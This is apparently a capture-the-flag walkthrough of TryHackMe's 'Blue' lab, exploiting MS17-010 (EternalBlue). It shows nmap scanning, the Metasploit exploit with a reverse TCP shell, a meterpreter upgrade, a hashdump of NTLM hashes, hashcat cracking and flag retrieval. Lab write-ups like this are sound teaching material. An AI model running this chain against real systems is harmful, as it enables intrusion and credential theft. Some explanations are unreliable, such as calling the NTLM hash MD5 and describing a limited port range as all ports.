This is an educational post to demonstrate the Windows exploit, MS17-010 commonly known as Eternal Blue. I have a box with this vulnerability running from TryHackMe’s Blue Tutorial Server. This is a vulnerability on SMBv1 servers that are unable to detect specially crafted packets which attackers can send to the server and run arbitrary code on.
Tools used: Nmap, Metasploit, Hashcat.
Analysis
Nmap
I started off with an NMAP scan while running the vulnerability script which automatically tries to find common vulnerabilites of the services running on the server’s ports.
nmap -p 0-1000 -v --min-parallelism 100 -A -script vuln 10.10.24.168
Here, -p- scans all 65,535 ports, -v is a verbose flag, –min-parallelism probes parallelism to speed up the scan and -sV shows the version of services running on the target IP.
The results of the scan returned as follows
Host is up (0.31s latency).
Not shown: 937 closed ports, 61 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_
So there’s 3 ports open and are vulnerable to Eternal Blue.
Now it’s time to start the metasploit framework to run the Eternal Blue exploit.
msfconsole
The output was
search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
use 2
Then set your RHOST to be the vunerable server’s IP address and pick a payload, in this case I chose a reverse shell, which will allow me to remotely execute commands on the target machine.
set payload windows/x64/shell/reverse_tcp
And run the exploit with exploit
.
The result is as below. I then sent this to the backgroudn to use another exploit to convert it to a meterpreter session which is much more convinient.
[*] Command shell session 1 opened (10.8.85.78:4444 -> 10.10.166.47:49475) at 2021-02-28 22:13:51 +0000
[+] 10.10.166.47:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.166.47:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.166.47:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>^Z
Background session 1? [y/N] y
Set SESSION to the shell that you’ve just produced and run the attack ot get a meterpreter session.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
Process 100 created.
Channel 1 created.
whoMicrosoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whowhoami
'whowhoami' is not recognized as an internal or external command,
operable program or batch file.
C:\Windows\system32>whoami
whoami
nt authority\system
Now we need to escalate our access to get a non-default user aka root user password. So for this I use ps
to list all processes and migrate to a process that has the ID NT AUTHORITY\SYSTEM
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
432 688 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
544 536 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
592 536 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
604 584 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
644 584 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
688 592 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
716 592 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
724 592 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
764 688 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
824 688 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
896 688 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
948 688 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1016 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\LogonUI.exe
1084 688 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1164 688 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1308 688 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1344 688 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1388 688 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1404 688 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1468 688 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe
1584 688 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
2220 1540 powershell.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
2252 544 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe
2456 688 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
2484 688 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe
2520 688 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
2608 688 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
meterpreter > migrate 2608
[*] Migrating from 2220 to 2608...
[*] Migration completed successfully.
meterpreter >
I then use hashdump to show all passwords.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >
Hashdump shows all passwords on the system and their accounts but they’re hashed. So I’ll be using hashid to find out what kind of hash this is and then use hashcat to crack said password.
hashcat -m 1000 hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.1.1) starting...
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-AMD Ryzen 5 2500U with Radeon Vega Mobile Gfx, 5135/5199 MB (2048 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 66 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
ffb43f0de35be4d9917ac0cc8ad57f8d:[redacted]
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: ffb43f0de35be4d9917ac0cc8ad57f8d
Time.Started.....: Sun Feb 28 22:59:23 2021, (3 secs)
Time.Estimated...: Sun Feb 28 22:59:26 2021, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4025.3 kH/s (0.41ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10207232/14344385 (71.16%)
Rejected.........: 0/10207232 (0.00%)
Restore.Point....: 10199040/14344385 (71.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: alsinah -> almendrarayada
And so it turned out to be an MD5 hash which I cracked with hashcat and got the root password. Now to search the machine for flags.
search -f flag*.txt
Found 3 results...
c:\flag1.txt (24 bytes)
c:\Users\Jon\Documents\flag3.txt (37 bytes)
c:\Windows\System32\config\flag2.txt (34 bytes)
meterpreter > cat C:\\flag1.txt
flag[redacted]meterpreter > cat C:\\Windows\System32\config\flag2.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat C:\\Windows\\System32\\config\\flag2.txt
flag[redacted]meterpreter >
meterpreter > cat C:\\Users\\Jon\\Documents\\flag3.txt
flag[redacted]meterpreter >
We have successfully found the flags and thereby finished this exploit.